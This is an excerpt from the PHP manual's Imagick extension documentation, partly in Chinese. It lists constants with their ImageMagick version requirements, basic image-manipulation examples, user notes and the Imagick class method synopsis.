此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::ALPHACHANNEL_COPY (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::ALPHACHANNEL_EXTRACT (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::ALPHACHANNEL_OPAQUE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::ALPHACHANNEL_SHAPE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::ALPHACHANNEL_TRANSPARENT (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::ALPHACHANNEL_BACKGROUND (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.5.3 or higher.
imagick::ALPHACHANNEL_REMOVE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.7.8 or higher.
imagick::ALPHACHANNEL_ASSOCIATE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.9.0 or higher.
imagick::ALPHACHANNEL_DISSOCIATE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.9.0 or higher.
imagick::ALPHACHANNEL_ON (int)
此常量可用仅当Imagick编译于ImageMagick版本 7.0.0 or higher.
imagick::ALPHACHANNEL_OFF (int)
此常量可用仅当Imagick编译于ImageMagick版本 7.0.0 or higher.
imagick::ALPHACHANNEL_DISCRETE (int)
此常量可用仅当Imagick编译于ImageMagick版本 7.0.0 or higher.
SPARSECOLORMETHOD constants

imagick::SPARSECOLORMETHOD_UNDEFINED (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_BARYCENTRIC (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_BILINEAR (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_POLYNOMIAL (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_SPEPARDS (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::SPARSECOLORMETHOD_VORONOI (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
FUNCTION constants

imagick::FUNCTION_UNDEFINED (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.9 or higher.
imagick::FUNCTION_POLYNOMIAL (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.9 or higher.
imagick::FUNCTION_SINUSOID (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.9 or higher.
INTERPOLATE constants

imagick::INTERPOLATE_UNDEFINED (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_AVERAGE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_BICUBIC (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_BILINEAR (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_FILTER (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_INTEGER (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_MESH (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_NEARESTNEIGHBOR (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.2 or higher.
imagick::INTERPOLATE_SPLINE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.4 or higher.
DITHERMETHOD constants

imagick::DITHERMETHOD_UNDEFINED (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DITHERMETHOD_NO (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DITHERMETHOD_RIEMERSMA (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DITHERMETHOD_FLOYDSTEINBERG (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.

User Contributed Notes

ferenczi dot krisztian at gmail dot com 18-May-2018 12:38
The `COLOR_OPACITY` doesn't exist if you are using ImageMagick lib 7 or newer version!

Here is the c source code:

#if MagickLibVersion < 0x700
    IMAGICK_REGISTER_CONST_LONG("COLOR_OPACITY", PHP_IMAGICK_COLOR_OPACITY);
#endif

There isn't any information about it anywhere (or I didn't find it)! So, if you want to use it, use the 6 version of lib! You can see the current installed version of lib with this command:

$ identify -version
guy dot paddock at redbottledesign dot com 28-Jun-2017 02:46
I believe the description for imagick::COMPOSITE_MINUS is incorrect. It states:

"Subtracts the source from the target"

But according to ImageMagick's documentation:

"The original method name 'Minus' is a synonym for 'Minus_Dst' meaning 'minus the destination'"

And defines "Minus_Dst" as:
"Src - Dest"

So the description of "imagick::COMPOSITE_MINUS" should be "Subtracts the target from the source"


Basic usage

Imagick makes image manipulation in PHP extremely easy through an OO interface. Here is a quick example on how to make a thumbnail:

Example #1 Creating a thumbnail in Imagick

<?php

header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');

// If 0 is provided as a width or height parameter,
// aspect ratio is maintained
$image->thumbnailImage(100, 0);

echo $image;

?>

Using SPL and other OO features supported in Imagick, it can be simple to resize all files in a directory (useful for batch resizing large digital camera images to be web viewable). Here we use resize, as we might want to retain certain meta-data:

Example #2 Make a thumbnail of all JPG files in a directory

<?php

$images = new Imagick(glob('images/*.JPG'));

foreach($images as $image) {

// Providing 0 forces thumbnailImage to maintain aspect ratio
$image->thumbnailImage(1024,0);

}

$images->writeImages();

?>

This is an example of creating a reflection of an image. The reflection is created by flipping the image and overlaying a gradient on it. Then both, the original image and the reflection is overlayed on a canvas.

Example #3 Creating a reflection of an image

<?php
/* Read the image */
$im = new Imagick("test.png");

/* Thumbnail the image */
$im->thumbnailImage(200, null);

/* Create a border for the image */
$im->borderImage(new ImagickPixel("white"), 5, 5);

/* Clone the image and flip it */
$reflection = $im->clone();
$reflection->flipImage();

/* Create gradient. It will be overlayed on the reflection */
$gradient = new Imagick();

/* Gradient needs to be large enough for the image and the borders */
$gradient->newPseudoImage($reflection->getImageWidth() + 10, $reflection->getImageHeight() + 10, "gradient:transparent-black");

/* Composite the gradient on the reflection */
$reflection->compositeImage($gradient, imagick::COMPOSITE_OVER, 0, 0);

/* Add some opacity. Requires ImageMagick 6.2.9 or later */
$reflection->setImageOpacity( 0.3 );

/* Create an empty canvas */
$canvas = new Imagick();

/* Canvas needs to be large enough to hold the both images */
$width = $im->getImageWidth() + 40;
$height = ($im->getImageHeight() * 2) + 30;
$canvas->newImage($width, $height, new ImagickPixel("black"));
$canvas->setImageFormat("png");

/* Composite the original image and the reflection on the canvas */
$canvas->compositeImage($im, imagick::COMPOSITE_OVER, 20, 10);
$canvas->compositeImage($reflection, imagick::COMPOSITE_OVER, 20, $im->getImageHeight() + 10);

/* Output the image*/
header("Content-Type: image/png");
echo $canvas;
?>

以上示例的输出类似于：

Output of example : Creating a reflection of an image

This example illustrates how to use fill patterns during drawing.

Example #4 Filling text with gradient

<?php

/* Create a new imagick object */
$im = new Imagick();

/* Create new image. This will be used as fill pattern */
$im->newPseudoImage(50, 50, "gradient:red-black");

/* Create imagickdraw object */
$draw = new ImagickDraw();

/* Start a new pattern called "gradient" */
$draw->pushPattern('gradient', 0, 0, 50, 50);

/* Composite the gradient on the pattern */
$draw->composite(Imagick::COMPOSITE_OVER, 0, 0, 50, 50, $im);

/* Close the pattern */
$draw->popPattern();

/* Use the pattern called "gradient" as the fill */
$draw->setFillPatternURL('#gradient');

/* Set font size to 52 */
$draw->setFontSize(52);

/* Annotate some text */
$draw->annotation(20, 50, "Hello World!");

/* Create a new canvas object and a white image */
$canvas = new Imagick();
$canvas->newImage(350, 70, "white");

/* Draw the ImagickDraw on to the canvas */
$canvas->drawImage($draw);

/* 1px black border around the image */
$canvas->borderImage('black', 1, 1);

/* Set the format to PNG */
$canvas->setImageFormat('png');

/* Output the image */
header("Content-Type: image/png");
echo $canvas;
?>

以上示例的输出类似于：

Output of example : Filling text with gradient

Working with animated GIF images

Example #5 Read in GIF image and resize all frames

<?php

/* Create a new imagick object and read in GIF */
$im = new Imagick("example.gif");

/* Resize all frames */
foreach ($im as $frame) {
/* 50x50 frames */
$frame->thumbnailImage(50, 50);

/* Set the virtual canvas to correct size */
$frame->setImagePage(50, 50, 0, 0);
}

/* Notice writeImages instead of writeImage */
$im->writeImages("example_small.gif", true);
?>

Working with ellipse primitive and custom fonts

Example #6 Create a PHP logo

<?php
/* Set width and height in proportion of genuine PHP logo */
$width = 400;
$height = 210;

/* Create an Imagick object with transparent canvas */
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));

/* New ImagickDraw instance for ellipse draw */
$draw = new ImagickDraw();
/* Set purple fill color for ellipse */
$draw->setFillColor('#777bb4');
/* Set ellipse dimensions */
$draw->ellipse($width / 2, $height / 2, $width / 2, $height / 2, 0, 360);
/* Draw ellipse onto the canvas */
$img->drawImage($draw);

/* Reset fill color from purple to black for text (note: we are reusing ImagickDraw object) */
$draw->setFillColor('black');
/* Set stroke border to white color */
$draw->setStrokeColor('white');
/* Set stroke border thickness */
$draw->setStrokeWidth(2);
/* Set font kerning (negative value means that letters are closer to each other) */
$draw->setTextKerning(-8);
/* Set font and font size used in PHP logo */
$draw->setFont('Handel Gothic.ttf');
$draw->setFontSize(150);
/* Center text horizontally and vertically */
$draw->setGravity(Imagick::GRAVITY_CENTER);

/* Add center "php" with Y offset of -10 to canvas (inside ellipse) */
$img->annotateImage($draw, 0, -10, 0, 'php');
$img->setImageFormat('png');

/* Set appropriate header for PNG and output the image */
header('Content-Type: image/png');
echo $img;
?>

以上示例的输出类似于：

Output of example : Creating PHP logo with Imagick

User Contributed Notes

vokseli 06-Aug-2014 07:24
Be careful when loading multiple images by passing an array to a new Imagick object. This is from Example #2:

<?php

$images = new Imagick(glob('images/*.JPG'));

?>

If you have lots of images inside the images folder, PHP will consume a lot of memory, ergo it is not recommended. I personally think it's a better idea to loop each image separately:

<?php

$image_files = glob('images/*.JPG');

foreach ($image_files as $image_file) {
    $image = new Imagick($image_file);
    // Do something for the image and so on...
}

?>

This way only a single image is fitted into the memory at a time.
inoshadi at gmail dot com 11-Dec-2013 07:53
on Example #3 Creating a reflection of an image
----------------------------------------------------
/* Clone the image and flip it */
$reflection = $im->clone();
$reflection->flipImage();
----------------------------------------------------
it was using the Imagick::clone function

This function has been DEPRECATED as of imagick 3.1.0 in favour of using the clone keyword.

use below code instead:
----------------------------------------------------
/* Clone the image and flip it */
$reflection = clone $im;
$reflection->flipImage();
----------------------------------------------------

http://php.net/manual/en/imagick.clone.php


The Imagick class

(PECL imagick 2, PECL imagick 3)

类摘要

class Imagick implements Iterator {
public __construct(mixed $files = ?)
public adaptiveBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public adaptiveResizeImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool
public adaptiveSharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public adaptiveThresholdImage(int $width, int $height, int $offset): bool
public addImage(Imagick $source): bool
public addNoiseImage(int $noise_type, int $channel = Imagick::CHANNEL_DEFAULT): bool
public affineTransformImage(ImagickDraw $matrix): bool
public animateImages(string $x_server): bool
public annotateImage(
ImagickDraw $draw_settings,
float $x,
float $y,
float $angle,
string $text
): bool
public appendImages(bool $stack): Imagick
public autoLevelImage(int $channel = Imagick::CHANNEL_DEFAULT): bool
public averageImages(): Imagick
public blackThresholdImage(mixed $threshold): bool
public blueShiftImage(float $factor = 1.5): bool
public blurImage(float $radius, float $sigma, int $channel = ?): bool
public borderImage(mixed $bordercolor, int $width, int $height): bool
public brightnessContrastImage(float $brightness, float $contrast, int $channel = Imagick::CHANNEL_DEFAULT): bool
public charcoalImage(float $radius, float $sigma): bool
public chopImage(
int $width,
int $height,
int $x,
int $y
): bool
public clampImage(int $channel = Imagick::CHANNEL_DEFAULT): bool
public clear(): bool
public clipImage(): bool
public clipImagePath(string $pathname, string $inside): void
public clipPathImage(string $pathname, bool $inside): bool
public clone(): Imagick
public clutImage(Imagick $lookup_table, int $channel = Imagick::CHANNEL_DEFAULT): bool
public coalesceImages(): Imagick
public colorFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool
public colorizeImage(mixed $colorize, mixed $opacity, bool $legacy = false): bool
public colorMatrixImage(array $color_matrix = Imagick::CHANNEL_DEFAULT): bool
public combineImages(int $channelType): Imagick
public commentImage(string $comment): bool
public compareImageChannels(Imagick $image, int $channelType, int $metricType): array
public compareImageLayers(int $method): Imagick
public compareImages(Imagick $compare, int $metric): array
public compositeImage(
Imagick $composite_object,
int $composite,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public contrastImage(bool $sharpen): bool
public contrastStretchImage(float $black_point, float $white_point, int $channel = Imagick::CHANNEL_DEFAULT): bool
public convolveImage(array $kernel, int $channel = Imagick::CHANNEL_DEFAULT): bool
public count(int $mode = 0): int
public cropImage(
int $width,
int $height,
int $x,
int $y
): bool
public cropThumbnailImage(int $width, int $height, bool $legacy = false): bool
public current(): Imagick
public cycleColormapImage(int $displace): bool
public decipherImage(string $passphrase): bool
public deconstructImages(): Imagick
public deleteImageArtifact(string $artifact): bool
public deleteImageProperty(string $name): bool
public deskewImage(float $threshold): bool
public despeckleImage(): bool
public destroy(): bool
public displayImage(string $servername): bool
public displayImages(string $servername): bool
public distortImage(int $method, array $arguments, bool $bestfit): bool
public drawImage(ImagickDraw $draw): bool
public edgeImage(float $radius): bool
public embossImage(float $radius, float $sigma): bool
public encipherImage(string $passphrase): bool
public enhanceImage(): bool
public equalizeImage(): bool
public evaluateImage(int $op, float $constant, int $channel = Imagick::CHANNEL_DEFAULT): bool
public exportImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $STORAGE
): array
public extentImage(
int $width,
int $height,
int $x,
int $y
): bool
public filter(ImagickKernel $ImagickKernel, int $channel = Imagick::CHANNEL_UNDEFINED): bool
public flattenImages(): Imagick
public flipImage(): bool
public floodFillPaintImage(
mixed $fill,
float $fuzz,
mixed $target,
int $x,
int $y,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public flopImage(): bool
public forwardFourierTransformimage(bool $magnitude): bool
public frameImage(
mixed $matte_color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): bool
public functionImage(int $function, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool
public fxImage(string $expression, int $channel = Imagick::CHANNEL_DEFAULT): Imagick
public gammaImage(float $gamma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public gaussianBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public getColorspace(): int
public getCompression(): int
public getCompressionQuality(): int
public static getCopyright(): string
public getFilename(): string
public getFont(): string
public getFormat(): string
public getGravity(): int
public static getHomeURL(): string
public getImage(): Imagick
public getImageAlphaChannel(): bool
public getImageArtifact(string $artifact): string
public getImageAttribute(string $key): string
public getImageBackgroundColor(): ImagickPixel
public getImageBlob(): string
public getImageBluePrimary(): array
public getImageBorderColor(): ImagickPixel
public getImageChannelDepth(int $channel): int
public getImageChannelDistortion(Imagick $reference, int $channel, int $metric): float
public getImageChannelDistortions(Imagick $reference, int $metric, int $channel = Imagick::CHANNEL_DEFAULT): float
public getImageChannelExtrema(int $channel): array
public getImageChannelKurtosis(int $channel = Imagick::CHANNEL_DEFAULT): array
public getImageChannelMean(int $channel): array
public getImageChannelRange(int $channel): array
public getImageChannelStatistics(): array
public getImageClipMask(): Imagick
public getImageColormapColor(int $index): ImagickPixel
public getImageColors(): int
public getImageColorspace(): int
public getImageCompose(): int
public getImageCompression(): int
public getImageCompressionQuality(): int
public getImageDelay(): int
public getImageDepth(): int
public getImageDispose(): int
public getImageDistortion(MagickWand $reference, int $metric): float
public getImageExtrema(): array
public getImageFilename(): string
public getImageFormat(): string
public getImageGamma(): float
public getImageGeometry(): array
public getImageGravity(): int
public getImageGreenPrimary(): array
public getImageHeight(): int
public getImageHistogram(): array
public getImageIndex(): int
public getImageInterlaceScheme(): int
public getImageInterpolateMethod(): int
public getImageIterations(): int
public getImageLength(): int
public getImageMatte(): bool
public getImageMatteColor(): ImagickPixel
public getImageMimeType(): string
public getImageOrientation(): int
public getImagePage(): array
public getImagePixelColor(int $x, int $y): ImagickPixel
public getImageProfile(string $name): string
public getImageProfiles(string $pattern = "*", bool $include_values = true): array
public getImageProperties(string $pattern = "*", bool $include_values = true): array
public getImageProperty(string $name): string
public getImageRedPrimary(): array
public getImageRegion(
int $width,
int $height,
int $x,
int $y
): Imagick
public getImageRenderingIntent(): int
public getImageResolution(): array
public getImagesBlob(): string
public getImageScene(): int
public getImageSignature(): string
public getImageSize(): int
public getImageTicksPerSecond(): int
public getImageTotalInkDensity(): float
public getImageType(): int
public getImageUnits(): int
public getImageVirtualPixelMethod(): int
public getImageWhitePoint(): array
public getImageWidth(): int
public getInterlaceScheme(): int
public getIteratorIndex(): int
public getNumberImages(): int
public getOption(string $key): string
public static getPackageName(): string
public getPage(): array
public getPixelIterator(): ImagickPixelIterator
public getPixelRegionIterator(
int $x,
int $y,
int $columns,
int $rows
): ImagickPixelIterator
public getPointSize(): float
public static getQuantum(): int
public static getQuantumDepth(): array
public static getQuantumRange(): array
public static getRegistry(string $key): string
public static getReleaseDate(): string
public static getResource(int $type): int
public static getResourceLimit(int $type): int
public getSamplingFactors(): array
public getSize(): array
public getSizeOffset(): int
public static getVersion(): array
public haldClutImage(Imagick $clut, int $channel = Imagick::CHANNEL_DEFAULT): bool
public hasNextImage(): bool
public hasPreviousImage(): bool
public identifyFormat(string $embedText): string|false
public identifyImage(bool $appendRawOutput = false): array
public implodeImage(float $radius): bool
public importImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $storage,
array $pixels
): bool
public inverseFourierTransformImage(Imagick $complement, bool $magnitude): bool
public labelImage(string $label): bool
public levelImage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public linearStretchImage(float $blackPoint, float $whitePoint): bool
public liquidRescaleImage(
int $width,
int $height,
float $delta_x,
float $rigidity
): bool
public static listRegistry(): array
public magnifyImage(): bool
public mapImage(Imagick $map, bool $dither): bool
public matteFloodfillImage(
float $alpha,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool
public medianFilterImage(float $radius): bool
public mergeImageLayers(int $layer_method): Imagick
public minifyImage(): bool
public modulateImage(float $brightness, float $saturation, float $hue): bool
public montageImage(
ImagickDraw $draw,
string $tile_geometry,
string $thumbnail_geometry,
int $mode,
string $frame
): Imagick
public morphImages(int $number_frames): Imagick
public morphology(
int $morphologyMethod,
int $iterations,
ImagickKernel $ImagickKernel,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public mosaicImages(): Imagick
public motionBlurImage(
float $radius,
float $sigma,
float $angle,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public negateImage(bool $gray, int $channel = Imagick::CHANNEL_DEFAULT): bool
public newImage(
int $cols,
int $rows,
mixed $background,
string $format = ?
): bool
public newPseudoImage(int $columns, int $rows, string $pseudoString): bool
public nextImage(): bool
public normalizeImage(int $channel = Imagick::CHANNEL_DEFAULT): bool
public oilPaintImage(float $radius): bool
public opaquePaintImage(
mixed $target,
mixed $fill,
float $fuzz,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public optimizeImageLayers(): bool
public orderedPosterizeImage(string $threshold_map, int $channel = Imagick::CHANNEL_DEFAULT): bool
public paintFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public paintOpaqueImage(
mixed $target,
mixed $fill,
float $fuzz,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public paintTransparentImage(mixed $target, float $alpha, float $fuzz): bool
public pingImage(string $filename): bool
public pingImageBlob(string $image): bool
public pingImageFile(resource $filehandle, string $fileName = ?): bool
public polaroidImage(ImagickDraw $properties, float $angle): bool
public posterizeImage(int $levels, bool $dither): bool
public previewImages(int $preview): bool
public previousImage(): bool
public profileImage(string $name, ?string $profile): bool
public quantizeImage(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool
public quantizeImages(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool
public queryFontMetrics(ImagickDraw $properties, string $text, bool $multiline = ?): array
public static queryFonts(string $pattern = "*"): array
public static queryFormats(string $pattern = "*"): array
public radialBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool
public raiseImage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): bool
public randomThresholdImage(float $low, float $high, int $channel = Imagick::CHANNEL_DEFAULT): bool
public readImage(string $filename): bool
public readImageBlob(string $image, string $filename = ?): bool
public readImageFile(resource $filehandle, string $fileName = null): bool
public readImages(array $filenames): bool
public recolorImage(array $matrix): bool
public reduceNoiseImage(float $radius): bool
public remapImage(Imagick $replacement, int $DITHER): bool
public removeImage(): bool
public removeImageProfile(string $name): string
public render(): bool
public resampleImage(
float $x_resolution,
float $y_resolution,
int $filter,
float $blur
): bool
public resetImagePage(string $page): bool
public resizeImage(
int $columns,
int $rows,
int $filter,
float $blur,
bool $bestfit = false,
bool $legacy = false
): bool
public rollImage(int $x, int $y): bool
public rotateImage(mixed $background, float $degrees): bool
public rotationalBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool
public roundCorners(
float $x_rounding,
float $y_rounding,
float $stroke_width = 10,
float $displace = 5,
float $size_correction = -6
): bool
public sampleImage(int $columns, int $rows): bool
public scaleImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool
public segmentImage(
int $COLORSPACE,
float $cluster_threshold,
float $smooth_threshold,
bool $verbose = false
): bool
public selectiveBlurImage(
float $radius,
float $sigma,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public separateImageChannel(int $channel): bool
public sepiaToneImage(float $threshold): bool
public setBackgroundColor(mixed $background): bool
public setColorspace(int $COLORSPACE): bool
public setCompression(int $compression): bool
public setCompressionQuality(int $quality): bool
public setFilename(string $filename): bool
public setFirstIterator(): bool
public setFont(string $font): bool
public setFormat(string $format): bool
public setGravity(int $gravity): bool
public setImage(Imagick $replace): bool
public setImageAlphaChannel(int $mode): bool
public setImageArtifact(string $artifact, string $value): bool
public setImageAttribute(string $key, string $value): bool
public setImageBackgroundColor(mixed $background): bool
public setImageBias(float $bias): bool
public setImageBiasQuantum(float $bias): void
public setImageBluePrimary(float $x, float $y): bool
public setImageBorderColor(mixed $border): bool
public setImageChannelDepth(int $channel, int $depth): bool
public setImageClipMask(Imagick $clip_mask): bool
public setImageColormapColor(int $index, ImagickPixel $color): bool
public setImageColorspace(int $colorspace): bool
public setImageCompose(int $compose): bool
public setImageCompression(int $compression): bool
public setImageCompressionQuality(int $quality): bool
public setImageDelay(int $delay): bool
public setImageDepth(int $depth): bool
public setImageDispose(int $dispose): bool
public setImageExtent(int $columns, int $rows): bool
public setImageFilename(string $filename): bool
public setImageFormat(string $format): bool
public setImageGamma(float $gamma): bool
public setImageGravity(int $gravity): bool
public setImageGreenPrimary(float $x, float $y): bool
public setImageIndex(int $index): bool
public setImageInterlaceScheme(int $interlace_scheme): bool
public setImageInterpolateMethod(int $method): bool
public setImageIterations(int $iterations): bool
public setImageMatte(bool $matte): bool
public setImageMatteColor(mixed $matte): bool
public setImageOpacity(float $opacity): bool
public setImageOrientation(int $orientation): bool
public setImagePage(
int $width,
int $height,
int $x,
int $y
): bool
public setImageProfile(string $name, string $profile): bool
public setImageProperty(string $name, string $value): bool
public setImageRedPrimary(float $x, float $y): bool
public setImageRenderingIntent(int $rendering_intent): bool
public setImageResolution(float $x_resolution, float $y_resolution): bool
public setImageScene(int $scene): bool
public setImageTicksPerSecond(int $ticks_per_second): bool
public setImageType(int $image_type): bool
public setImageUnits(int $units): bool
public setImageVirtualPixelMethod(int $method): bool
public setImageWhitePoint(float $x, float $y): bool
public setInterlaceScheme(int $interlace_scheme): bool
public setIteratorIndex(int $index): bool
public setLastIterator(): bool
public setOption(string $key, string $value): bool
public setPage(
int $width,
int $height,
int $x,
int $y
): bool
public setPointSize(float $point_size): bool
public setProgressMonitor(callable $callback): bool
public static setRegistry(string $key, string $value): bool
public setResolution(float $x_resolution, float $y_resolution): bool
public static setResourceLimit(int $type, int $limit): bool
public setSamplingFactors(array $factors): bool
public setSize(int $columns, int $rows): bool
public setSizeOffset(int $columns, int $rows, int $offset): bool
public setType(int $image_type): bool
public shadeImage(bool $gray, float $azimuth, float $elevation): bool
public shadowImage(
float $opacity,
float $sigma,
int $x,
int $y
): bool
public sharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public shaveImage(int $columns, int $rows): bool
public shearImage(mixed $background, float $x_shear, float $y_shear): bool
public sigmoidalContrastImage(
bool $sharpen,
float $alpha,
float $beta,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public sketchImage(float $radius, float $sigma, float $angle): bool
public smushImages(bool $stack, int $offset): Imagick
public solarizeImage(int $threshold): bool
public sparseColorImage(int $SPARSE_METHOD, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool
public spliceImage(
int $width,
int $height,
int $x,
int $y
): bool
public spreadImage(float $radius): bool
public statisticImage(
int $type,
int $width,
int $height,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public steganoImage(Imagick $watermark_wand, int $offset): Imagick
public stereoImage(Imagick $offset_wand): bool
public stripImage(): bool
public subImageMatch(Imagick $Imagick, array &$offset = ?, float &$similarity = ?): Imagick
swirlImage(float $degrees): bool
textureImage(Imagick $texture_wand): Imagick
public thresholdImage(float $threshold, int $channel = Imagick::CHANNEL_DEFAULT): bool
public thumbnailImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $fill = false,
bool $legacy = false
): bool
public tintImage(mixed $tint, mixed $opacity, bool $legacy = false): bool
public __toString(): string
public transformImage(string $crop, string $geometry): Imagick
public transformImageColorspace(int $colorspace): bool
public transparentPaintImage(
mixed $target,
float $alpha,
float $fuzz,
bool $invert
): bool
public transposeImage(): bool
public transverseImage(): bool
public trimImage(float $fuzz): bool
public uniqueImageColors(): bool
public unsharpMaskImage(
float $radius,
float $sigma,
float $amount,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public valid(): bool
public vignetteImage(
float $blackPoint,
float $whitePoint,
int $x,
int $y
): bool
public waveImage(float $amplitude, float $length): bool
public whiteThresholdImage(mixed $threshold): bool
public writeImage(string $filename = NULL): bool
public writeImageFile(resource $filehandle, string $format = ?): bool
public writeImages(string $filename, bool $adjoin): bool
public writeImagesFile(resource $filehandle, string $format = ?): bool
}

Image methods and global methods

The Imagick class has the ability to hold and operate on multiple images simultaneously. This is achieved through an internal stack. There is always an internal pointer that points at the current image. Some functions operate on all images in the Imagick class, but most operate only on the current image in the internal stack. As a convention, method names can contain the word Image to denote they affect only the current image in the stack.

Class Methods

Because there are so many methods, here is a handy list of methods, somewhat reduced to their general purpose:

Class methods by purpose
Image effects | Get methods | Set methods | Read/write images | Other
Imagick::adaptiveBlurImage() | Imagick::getCompression() | Imagick::setBackgroundColor() | Imagick::__construct() | Imagick::clear()
Imagick::adaptiveResizeImage() | Imagick::getFilename() | Imagick::setCompressionQuality() | Imagick::addImage() | Imagick::clone()
Imagick::adaptiveSharpenImage() | Imagick::getFormat() | Imagick::setCompression() | Imagick::appendImages() | Imagick::current()
Imagick::adaptiveThresholdImage() | Imagick::getImageBackgroundColor() | Imagick::setFilename() | Imagick::getFilename() | Imagick::destroy()
Imagick::addNoiseImage() | Imagick::getImageBlob() | Imagick::getImagesBlob() | Imagick::setFormat() | Imagick::getFormat()
Imagick::affinetransformimage() | Imagick::getImageBluePrimary() | Imagick::setImageBackgroundColor() | Imagick::getImageFilename() | Imagick::getHomeURL()
Imagick::annotateImage() | Imagick::getImageBorderColor() | Imagick::setFirstIterator() | Imagick::getImageFormat() | Imagick::commentImage()
Imagick::averageImages() | Imagick::getImageChannelDepth() | Imagick::setImageBias() | Imagick::getImage() | Imagick::getNumberImages()
Imagick::blackThresholdImage() | Imagick::getImageChannelDistortion() | Imagick::setImageBluePrimary() | Imagick::setImageFilename() | Imagick::getReleaseDate()
Imagick::blurImage() | Imagick::getImageChannelExtrema() | Imagick::setImageBorderColor() | Imagick::setImageFormat() | Imagick::getVersion()
Imagick::borderImage() | Imagick::getImageChannelMean() | Imagick::setImageChannelDepth() | Imagick::readImageFile() | Imagick::hasNextImage()
Imagick::charcoalImage() | Imagick::getImageChannelStatistics() | Imagick::setImageColormapColor() | Imagick::readImage() | Imagick::hasPreviousImage()
Imagick::chopImage() | Imagick::getImageColormapColor() | Imagick::setImageColorSpace() | Imagick::writeImages() | Imagick::labelImage()
Imagick::clipImage() | Imagick::getImageColorspace() | Imagick::setImageCompose() | Imagick::writeImage() | Imagick::newImage()
Imagick::clipPathImage() | Imagick::getImageColors() | Imagick::setImageCompression() |  | Imagick::newPseudoImage()
Imagick::coalesceImages() | Imagick::getImageCompose() | Imagick::setImageDelay() |  | Imagick::nextImage()
Imagick::colorFloodFillImage() | Imagick::getImageDelay() | Imagick::setImageDepth() |  | Imagick::pingImageBlob()
